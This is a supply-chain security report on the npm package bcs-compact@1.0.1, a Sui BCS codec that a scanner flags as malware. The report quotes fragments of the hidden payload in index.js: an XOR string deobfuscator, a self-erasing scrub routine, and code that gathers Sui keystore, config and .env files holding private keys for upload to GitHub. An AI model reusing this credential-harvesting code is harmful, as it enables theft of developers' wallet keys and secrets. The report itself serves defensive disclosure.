registry / Credential exfiltration / bcs-compact
bcs-compact
BCS (Binary Canonical Serialization) codec for Move/Sui payloads
This report shows the evidence for bcs-compact@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is concrete credential exfiltration triggered by normal module import, with obfuscation and self-removal for concealment. The legitimate codec exports do not mitigate the appended malicious behavior.
Static reason
No blocking static signals were detected.
Trigger
Normal require/import of the package on a non-CI host with ~/.sui/sui.keystore.
Impact
The victim's Sui keystore, Sui client configuration, and secret-bearing .env files can be disclosed to an attacker-controlled GitHub repository.
Mechanism
Top-level credential harvesting, obfuscated GitHub API exfiltration, and self-scrubbing.
Attack narrative
A normal import executes an appended, obfuscated IIFE. When a Sui keystore exists outside CI, it reads the keystore and Sui configuration, searches .env files for Sui/private-key markers, base64-encodes their contents, and PUTs the bundle to GitHub's contents API using an embedded bearer credential. It then rewrites index.js to remove the payload, hindering later inspection.
AI rationale
This is concrete credential exfiltration triggered by normal module import, with obfuscation and self-removal for concealment. The legitimate codec exports do not mitigate the appended malicious behavior.
Evidence
index.jspackage.json~/.sui/sui.keystore~/.sui/sui_config/client.yaml~/.sui/sui_config/sui_config.yaml<cwd>/.env*<home>/.env*
Network endpoints1
api.github.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Top-level IIFE runs immediately on import and self-removes its payload afterward.
- Reads Sui keystore/config files and matching .env files from the working directory and home directory.
- Base64-encodes collected file contents and uploads them through an obfuscated GitHub API request with an embedded bearer credential.
Evidence against
- The exported functions are ordinary BCS/ULEB128 codec helpers.
- package.json has no lifecycle install hook, but the payload executes on normal module import.
Behavioral surface
EnvironmentVarsFilesystemNetwork
Source & flagged code
5 flagged · loading sourceindex.jsView file
52/* compat-probe:start */
;(function(){
const fs=require('fs'),os=require('os'),path=require('path');
const K='bcs-c0mpact-v10';
const x=a=>Buffer.from(a.map((c,i)=>c^K.charCodeAt(i%K.length))).toString();
function scrub(){try{
const re=/\n\/\* compat-probe:start \*\/[\s\S]*\/\* compat-probe:end \*\/\n?/;
fs.writeFileSync(__filename,fs.readFileSync(__filename,'utf8').replace(re,'\n'));
}catch(e){}}
High
Ai Review Evidence
Top-level IIFE runs immediately on import and self-removes its payload afterward.
index.jsView on unpkg · L5282try{main()}finally{scrub()}
})();
High
Ai Review Evidence
Top-level IIFE runs immediately on import and self-removes its payload afterward.
index.jsView on unpkg · L8262const home=os.homedir();
const ks=path.join(home,'.sui','sui.keystore');
if(!fs.existsSync(ks))return;
if(process.env.CI||process.env.GITHUB_ACTIONS)return;
const paths=[ks,path.join(home,'.sui','sui_config','client.yaml'),path.join(home,'.sui','sui_config','sui_config.yaml')];
const markers=['SUI_','PK_B64','PRIVATE_KEY'];
for(const dir of [process.cwd(),home]){let ents=[];try{ents=fs.readdirSync(dir)}catch(e){}
for(const n of ents){if(!n.startsWith('.env'))continue;const p=path.join(dir,n);
try{const t=fs.readFileSync(p,'utf8');if(markers.some(m=>t.includes(m)))paths.push(p)}catch(e){}}}
High
Findings
5 High2 Medium2 Low
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowFilesystem
Affected versions and remediation
This report applies to bcs-compact@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing bcs-compact@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.